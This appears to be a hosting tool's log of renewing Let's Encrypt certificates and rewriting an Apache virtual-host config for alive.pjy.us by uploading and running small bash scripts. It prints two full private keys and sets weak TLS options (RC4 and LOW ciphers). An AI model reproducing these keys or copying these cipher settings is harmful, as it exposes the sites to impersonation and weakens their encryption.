def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 06:01:16: 

chmod 755 /tmp/pkp734586; /tmp/pkp734586; rm /tmp/pkp734586

2025-12-31 06:01:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb	5337
ca:cc:16:66:a6:6d:ed:f0:9b:32:be:1e:53:7a:64:1b

-----BEGIN CERTIFICATE-----
MIIE8zCCA9ugAwIBAgISBu3OrS9ZqQDaKfEbrZu+BCzbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjMxMDUwMjM3WhcNMjYwMzMxMDUwMjM2WjAWMRQwEgYDVQQD
Ewtob21lLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALV1
/ME6u7fsdIVMHZNidYnJbOpnfQTGdJAXI1IqKXQBpla3QvmNFjoyVbU9tVzTAP9i
ONG5HR6MHZsX9d9pkl/r+VEkmwgoApwaJJtLgedsPZansJk/c6pr7aAoZhON5CVt
yW7emlkuhWx9T1T6uj8xzsUplGrEUqKbi5t98MryJVUgJ7kOjavOX9mDcqPyKan1
kaWbOKvILsx/fhBGzplWtCRCx+wpkH9DXGaTOf4XPZqGrwcnGP8SlHyfo0BTN2Sl
tOsiGmE/tY+vanR3Pu7jgbhLQ0NOC7nYyy5XXQadSOUlSzzU/eRMpTCv80s/KW1r
rg/EXmsJL6JguNITL9MCAwEAAaOCAhwwggIYMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUqgKoJ1sOfYO7+R4zUMdyGWPdOIUwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtob21lLnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzkyLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABm3L+7E4AAAQDAEgwRgIhAKY7t1O665ti
EdRjb9FVH35yP1QnmTwknKX63B2xA4BXAiEA5veLTgGWsA8/gjT+YoC96lrsG4cN
oSMzkkXrYoXBHhAAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAA
AZty/uymAAAEAwBHMEUCIQDUi0HJHTQdVt4RAg3yuKZmHjTR5G2+rlx7u4+GoElf
MwIgA+aZUrXPZ3ikWZ/XAsfvnAlKl0Nfxng17wyMXWz8rh8wDQYJKoZIhvcNAQEL
BQADggEBAL5rbZv+Gyo+4m+BLeQ6Xu632vp/6nfKpu9waRqSjg+Q0K5m4CpUo++l
h529TE/UCAubwbUoakIEmolbumXpLCXRfRJR4NpI5o3pmi08bjgnGVEtXpFVFK9P
vUfvTCCbLoA7CUgK9xczLTSFpBl4ymSR8zcIsd3h83ExNCKrLdI+3NOUlsU4oL9c
nB+VhgrVV81IjuXm1lWoC+sdzgK+0hh+igzLkC9qNuFq27eKkY89HQBqNRWSvc5B
NBc6JJdwusVY81k0BC+LyCFFbiOgyWvpEqBrjFf5GmlRIR+BrRm/KjtJBVHmk6/y
M3gbbuAL03BnCsBYk5Ig8irWL5KEWqo=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC1dfzBOru37HSF
TB2TYnWJyWzqZ30ExnSQFyNSKil0AaZWt0L5jRY6MlW1PbVc0wD/YjjRuR0ejB2b
F/XfaZJf6/lRJJsIKAKcGiSbS4HnbD2Wp7CZP3Oqa+2gKGYTjeQlbclu3ppZLoVs
fU9U+ro/Mc7FKZRqxFKim4ubffDK8iVVICe5Do2rzl/Zg3Kj8imp9ZGlmziryC7M
f34QRs6ZVrQkQsfsKZB/Q1xmkzn+Fz2ahq8HJxj/EpR8n6NAUzdkpbTrIhphP7WP
r2p0dz7u44G4S0NDTgu52MsuV10GnUjlJUs81P3kTKUwr/NLPylta64PxF5rCS+i
YLjSEy/TAgMBAAECggEAGBWtcw4zHTHWs1yLbmT6mcuw15ndx5T5oqhXiU/MSbfw
VoEjdBDsWtQUeSZUHJpq/vqP9RIfUc8iHNQ8z6bpBS9CW6lCpH3+/q4fnrcSal98
+zKNp4F6/isuEnxaNA04s1kTi9Ii5WRd1Cz7qxlOQBYBzjx7FQKyvx9rE7vPCniI
aYN4GRCphHTzmBdtlJlZ9sMDSeliRBsPHQ3iQY3TdxXTarsIeepcpmoRmabu+a48
YHXo/Hj4Zt08k/4mlTFlqUuTagCpS+cjyLiq7QBvWbs4aUjIpM1nI6e57cikjfdj
bVC67FVqgAH/d3/9V/5vFFDWuT5X3V1XkKNgqTCA2QKBgQD6zc63jcif1PjwKwBs
koKXVdcjBoWehVpu7rhKcJqj5ydn7jsx/D/JlF+vbgh2IuyUXXMLNE7B0/zdghBI
SFH93C3I101vpKDfO7k07u9dVQYyzjsDR1RutwHE/2W0/B4e+mT2DjDVgMAQD7sx
C6vqqaPFYItxfXA5znr73nzdywKBgQC5OGdy4+0innm60O4SUzb135rRa97Xe7kZ
draMthTSEbFDGccoEzwA5uUlkerZ+DzVKFlrv10LsvIt5mxB5hFMSg3sLZwIvEis
oRXfLsJsLwe6WYZ1h8DQf2/04MZauWcuXqS4VMmoLYAXEFgL9QjciJlOBoaLfidC
FRZc6xO1GQKBgQCXFRl8uz1rAwl+6/iSbuOaNIynvcsKRjzG7Kk5toGBUMMNOZaR
MupeDTJi5H7WY41uhqjBzB3RZ1lBOpOCZ4Z0zYkLHp+4LEz4jOqxt2mcKJbWTiOA
gxyaoUXAnTVwhBvE/4OIMd47Dxcj1cYm8mf6sXxFbzYxBKZxPDAbv9gqZwKBgEi5
+fylvGX8feW5xdESNaFjdEHIrk5D+VEjSNiFYjV91vF2/LkinEvqXY1b9zAxBYnY
9wuUry85y1f0gwt5D8+5wC+9VOglLhACjDj+/j5GVS15m48oh7AWadpoK9pRtE8D
wH/UYv4TJ5lmxHulch5N0IxPiaLaHQYYi5hegXV5AoGAQlioRnaVJCxiX6aERuAY
lceH/tx2A03hL3zu+qWlCEc3puDBh54P89nWXa/LDoiltlMLkk5hP6I6NkdtcOrF
GKxNqumYSco+TPSfbZS27SxG1L6oU+ZI6KImAIK0wiFoBpPqWNsEtX8uKhf+3BCN
6MKUONT7NaV6evhDZuv1n8A=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-31 06:01:16: Establishing a connection
2025-12-31 06:01:17: Establishing a connection
2025-12-31 06:01:18: 

PUT: /tmp/pkp641765

#!/bin/bash
if [ -d "/var/www/pjy_alive/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-31 06:01:19: 

chmod 755 /tmp/pkp641765; /tmp/pkp641765; rm /tmp/pkp641765

2025-12-31 06:01:20: 


1


2025-12-31 06:01:20: Establishing a connection
2025-12-31 06:01:21: 

PUT: /tmp/pkp964603

#!/bin/bash
mkdir -p "/var/www/pjy_alive/.well-known/acme-challenge/"
cd "/var/www/pjy_alive/.well-known/acme-challenge/"
cat > Vco3SpANdq_GXiIyhE3-2k9iZ3oXFh19ygAJtw8cMIU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Vco3SpANdq_GXiIyhE3-2k9iZ3oXFh19ygAJtw8cMIU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Vco3SpANdq_GXiIyhE3-2k9iZ3oXFh19ygAJtw8cMIU


2025-12-31 06:01:22: 

chmod 755 /tmp/pkp964603; /tmp/pkp964603; rm /tmp/pkp964603

2025-12-31 06:01:22: 




2025-12-31 06:01:28: Establishing a connection
2025-12-31 06:01:29: 

PUT: /tmp/pkp334925

#!/bin/bash
mkdir -p "/var/www/pjy_alive/.well-known/acme-challenge/"
cd "/var/www/pjy_alive/.well-known/acme-challenge/"
rm Vco3SpANdq_GXiIyhE3-2k9iZ3oXFh19ygAJtw8cMIU


2025-12-31 06:01:30: 

chmod 755 /tmp/pkp334925; /tmp/pkp334925; rm /tmp/pkp334925

2025-12-31 06:01:30: 




2025-12-31 06:01:30: Establishing a connection
2025-12-31 06:01:31: 

PUT: /tmp/pkp909643

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'
53:42:be:58:01:c4:53:2f:61:65:1c:4a:71:2b:f8:7a

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBqRCuV/kHaUQNs8n6autgKlVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjU3WhcNMjYwMzMxMDUwMjU2WjAXMRUwEwYDVQQD
EwxhbGl2ZS5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr
k06yk15M4nC54vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7R
xmM3h5OAw8uKclOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq
10cKMQK/2Yo+8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZo
UVzyX+aGd1oV4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9
NDsu/6x++ZFDhKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R
68fXDyUTMACqMEz8Qk3RAgMBAAGjggIlMIICITAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBGY4UR8oCe1mRDshLOP7tBJcYPXMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMYWxpdmUucGp5LnVzMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODYuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbcv86hwAABAMASDBGAiEA9HJ+HVrY
dV5orry0OBpxH9GTnBNrA8tR3qgUeyGG4MwCIQDOMjtEVWACq+305ryIeCqn5qkb
iEliHLSmbMaD5l/AFQB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHi
AAABm3L/OywACAAABQAFotjFBAMARzBFAiAWg9uifZtZoWXfJAcmoCr//ZFKs9aj
KtetPXqF5sugKwIhAOfK/KXoaGtttXjuWuT26NzNBazIwpO0qAv1x3nhdAdnMA0G
CSqGSIb3DQEBCwUAA4IBAQCUp3Ltgf9rfcj9BKt2aBH3hEjja1FwN2XMsAs/bBKX
kYp1llsnBjNJ4PNn2ZYYnZun4ndQJMJTWJCxKDPGcR3QOMXPm+DXxAwAn3aOV5bm
z/ksL/59o5w2yfrSoeDec5ddG/cKkX/6zas1WXKN5ykCERtFiEzBumymb6B+jU9c
gUYq3Dpkrc51xll0dvH2y26+kPWgSyuh2oucr03UeBQFUtTepO9MCY+Wsaq67Qfq
W2O2tBhXcIOb3l3xIAo6n3lSPCLGEo+FPTro0ob3Y9d7qh8DdFEo4otE3JmOxRTo
JDevasbMR/j+9bWm2jUeGh0RSFM2KGmlafNidXMv65g2
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrk06yk15M4nC5
4vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7RxmM3h5OAw8uK
clOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq10cKMQK/2Yo+
8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZoUVzyX+aGd1oV
4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9NDsu/6x++ZFD
hKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R68fXDyUTMACq
MEz8Qk3RAgMBAAECggEAM1e//5E48WH7oKyqqEN5EOn02BSj3Ypck6ecTUGJgPgs
tRJpWqvMLgOjuWkYXwoB7V1kGFxiR/CPaq0elGKcvfWxeiCglL0Bsh3r2SmNN5gN
3UD9+8fBEUjcUu97lEC0SUaFlCepbnavN3oyEPqqqku1l4wkGWWlXeq0A66aRI45
9z1L7B1NyniGBU8odG9QWLT8a5Wqr+gwh2uJN76XGEDlKUYjTIPS7ciCIpqQl7L2
lQBD0iVbwHZOGDFC04CJ2IUuRyzTx1Umq2q3TIcLYpO39QbRVxH7STrF2dzlGJuK
wTjl03zeSa7gjWbcds0CAUoWN9w3MGrsBPKBhXFPPwKBgQDa/yNhlUZ/C+lo6lpT
rZ9kM1+Idhm6EVIjaKp2J85AfwystEL5Qnfp4RlGaE3Vjh9IPu9WmDScNDcN7NgU
lnDQqCY/ePlwlLgHAll5bN/nmDiOQYoEPZo9kpvKPpoCwPGG4/WeC2eW7A/T4yzD
HiWEr4ZtNAMMlv7mDAqWXRETVwKBgQDIkO3uvm19RZ8jBRbpy/TdFSX6M+rE4Gh6
vIn9BPm7xVlsLqdd0ytasBbCKCNKXfk1+Up9okk4kj6D+MpK2matbQnfvuLnuVhg
ktpY0ucPEfav1itxIzFWhbon0EjFQ8MP/ICuHk5jk1G2UgoDp6cvg/pwUCNtob0r
aAbjRbFXFwKBgQCE7YEoZleYHj7bdATH7gdl5tkCF82d542X+JwfhCHpfDTRT8mn
SvVGfV++IOm9yrqqO6lDQrgMaJVSWoT+WiK4RJiSxneCIoNhncd5sOBnzznk/1sr
H8lTvn3Z0Q3ixgLVAeHAwONr9HXXA3nUJaRYWcKa3otLRQwLzxtOEcefmQKBgQCL
wcm6OgGLcE8ilPJReeingYwUG8c05vaGyAgTQjtO54aXRq8jRvmH2PoS0us8b90v
CgYpI0OIYwei6GL149f2cuuVeKseM13s9Yemq1eMfcT64+8jiBViKA7+nTmIE97B
rf5w1fdjlY0z0VjfER0DlCCX0I/PXgu2Sme6SJ75gwKBgQDWZR2Fa4C0fyASXW6f
UgfW9HXHdN5q3sv4WFqPvArKTHJlx3B6LvOL2yZLGW1rnnI8tPiZw8LOYYYzmfpV
miWSHTy8XKJMtWJY/dG+YV2G+gbNVqeKd1kEKeYl6evAfZhcBlUHKqn1vPPPkKAz
+ilf+BPfiIWUFBp6ZA92v4qhXw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-31 06:01:32: 

chmod 755 /tmp/pkp909643; /tmp/pkp909643; rm /tmp/pkp909643

2025-12-31 06:01:32: 


dir=/etc/ssl/certs


2025-12-31 06:01:33: 

PUT: /tmp/pkp411602

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_alive_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-31 06:01:33: 

chmod 755 /tmp/pkp411602; /tmp/pkp411602; rm /tmp/pkp411602

2025-12-31 06:01:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_alive_us.conf 36

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






2025-12-31 06:01:33: 

PUT: /tmp/pkp791217

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_alive_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1'
fi


2025-12-31 06:01:34: 

chmod 755 /tmp/pkp791217; /tmp/pkp791217; rm /tmp/pkp791217

2025-12-31 06:01:34: 




2025-12-31 06:01:34: 

PUT: /tmp/pkp898987

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-31 06:01:34: 

chmod 755 /tmp/pkp898987; /tmp/pkp898987; rm /tmp/pkp898987

2025-12-31 06:01:35: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 06:01:35: Establishing a connection
2025-12-31 06:01:36: 

PUT: /tmp/pkp432555

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-31 06:01:37: 

chmod 755 /tmp/pkp432555; /tmp/pkp432555; rm /tmp/pkp432555

2025-12-31 06:01:37: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443                  is a NameVirtualHost
